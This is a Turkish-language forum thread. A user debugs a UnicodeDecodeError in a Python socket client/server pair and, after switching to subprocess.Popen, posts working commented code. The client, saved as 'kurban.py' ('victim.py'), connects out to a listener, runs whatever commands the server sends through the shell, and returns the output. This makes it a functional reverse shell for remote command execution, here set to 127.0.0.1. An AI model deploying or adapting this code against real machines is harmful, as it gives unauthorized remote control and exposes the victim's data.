Öncelikle herkeze tekrardan merhaba 2 sayfa olarak yazdığım örnek kodda hata almaktayım
client tarafında gelen cevap server tarafına yollanırken hata vermekte sebebi sizce nedir ?
Client tarafı normalde hiç bir hata vermez iken ipconfig gibi bir komutun çıktısını yollarken hata veriyor
import socket
import subprocess
host="127.0.0.1"
port=5000
soket=socket.socket()
soket.connect((host,port))
mesaj=soket.recv(1024).decode()
print(mesaj)
while True:
komut=soket.recv(1024).decode()
if komut.lower()=="exit":
break
cikti = subprocess.getoutput(komut) !!!! hata tam olarak burda sebebi nedir sizce ?
soket.send(cikti.encode())
soket.close()
Bağlantı sağlandı
dir
Traceback (most recent call last):
File "C:\Users\exfig\OneDrive\Masaüstü\python projelerım\kurban.py", line 14, in <module>
cikti = subprocess.getoutput(komut)
File "C:\Users\exfig\AppData\Local\Programs\Thonny\lib\subprocess.py", line 630, in getoutput
return getstatusoutput(cmd)[1]
File "C:\Users\exfig\AppData\Local\Programs\Thonny\lib\subprocess.py", line 611, in getstatusoutput
data = check_output(cmd, shell=True, text=True, stderr=STDOUT)
File "C:\Users\exfig\AppData\Local\Programs\Thonny\lib\subprocess.py", line 411, in check_output
**kwargs).stdout
File "C:\Users\exfig\AppData\Local\Programs\Thonny\lib\subprocess.py", line 490, in run
stdout, stderr = process.communicate(input, timeout=timeout)
File "C:\Users\exfig\AppData\Local\Programs\Thonny\lib\subprocess.py", line 951, in communicate
stdout = self.stdout.read()
File "C:\Users\exfig\AppData\Local\Programs\Thonny\lib\encodings\cp1254.py", line 23, in decode
return codecs.charmap_decode(input,self.errors,decoding_table)[0]
UnicodeDecodeError: 'charmap' codec can't decode byte 0x81 in position 114: character maps to <undefined>
>>>
Editörle alakalı olduğunu sanmıyorum. Bir ihtimal, Windows ile alakalı. Ayrıca, subprocess.getoutput fonksiyonu yerine, subprocess.Popen sınıfını kullanmayı deneyin, belki bununla da ilgilidir.
Paylaştığım kodu çalıştırdınız mı merak ettim, çalıştırdıysanız nasıl bir sonuç aldınız? Windows’u açıp denemiştim ve hata almamıştım.
Ayrıca sizinle paylaştığım sitedeki farklı kodlamaları da deneyebilirsiniz.
verdiğiniz Popen komutu ile dataları sorunsuz bir şekilde servera ilettin çok teşekkür ederim büyük ihtimal sorun subprocess.geoutput() kullanmadan kaynaklı Popen ile hatasız çalışıyor.
import socket #<-------Socket kütüphanesi yüklenir
host="127.0.0.1" #<-------Bağlanılacak ip belirlenir
port=5000 #<-------Bağlanılacak port belirlenir
soket=socket.socket() #<-------Socket Oluşturulur
soket.bind((host,port)) #<-------Socket ip ve port dinlenir
soket.listen(1) #<-------Sockete bağlanılacak client sayısı belirlenir
conn , addr = soket.accept() #<-------Gelen istekler kabuledilir
print("Bağlantı sağlandı:",str(conn)) #<-------Bağlantı geldiğinde ekrana yazılır
conn.sendall(bytes("Veriler Aktarılıyor Lütfen Bekleyiniz !! ".encode("cp850")))#<-------Karşı client'a mesaj encode edilerek gönderilir
while True: #<-------Koşullar doğru ise döngüye girilir
komut=input("Komut Giriniz : ") #<-------Kullanıcıdan çalıştırılacak komut istenir
conn.send(komut.encode("cp850")) #<-------Girilen komut Karşı client'a encode edilerek gönderilir
if komut.lower()=="exit": #<-------Girilen komut exit ise döngüden çıkılır
break #<-------Döngüden çıkılır
sonuc=conn.recv(4048).decode("cp850") #<-------Karşı client'tam gelen Veriler veri değişkenine atılır
print(sonuc) #<-------Veriler ekrana yazdırılır
conn.close() #<-------Bağlantı kapatılır
soket.close() #<-------Socket kapatılır
Client tarafı :
import socket #<-------Socket kütüphanesi yüklenir
import subprocess #<-------subprocess kütüphanesi yüklenir
host="127.0.0.1" #<-------Bağlanılacak ip belirlenir
port=5000 #<-------Bağlanılacak port belirlenir
soket=socket.socket() #<-------Socket Oluşturulur
soket.connect((host,port)) #<-------Belirtilen ip ve porta bağlanılır
mesaj=soket.recv(4048).decode("cp850") #<-------Server dam ilk mesaj alınır
print(mesaj) #<-------Alınan mesaj ekrana basılır
while True: #<-------Koşullar doğru ise döngüye girilir
komut=soket.recv(4048).decode("cp850") #<-------Server dan alınan komut verileri komut değişkenine aktarılır
veri = subprocess.Popen(komut,shell=True,stdout=subprocess.PIPE).communicate()[0].decode("cp850") #<-------Aktarılan komut shell üzerinden çalıştırılıp sonucu veri değişkenine aktarılır
soket.send(veri.encode("cp850")) #<-------Aktarılan veriler server encode edilerek yollanır
if komut.lower()=="exit": #<-------Eğer serverdan exit komutu gelirse döngüden çıkılır
break #<-------Döngüden çıkılır
soket.close() #<-------Soket kapatılır
Yardımcı olup konuya mesaj atan herkeze teşekkür ederim bütün isteklerimi yerine getiriyor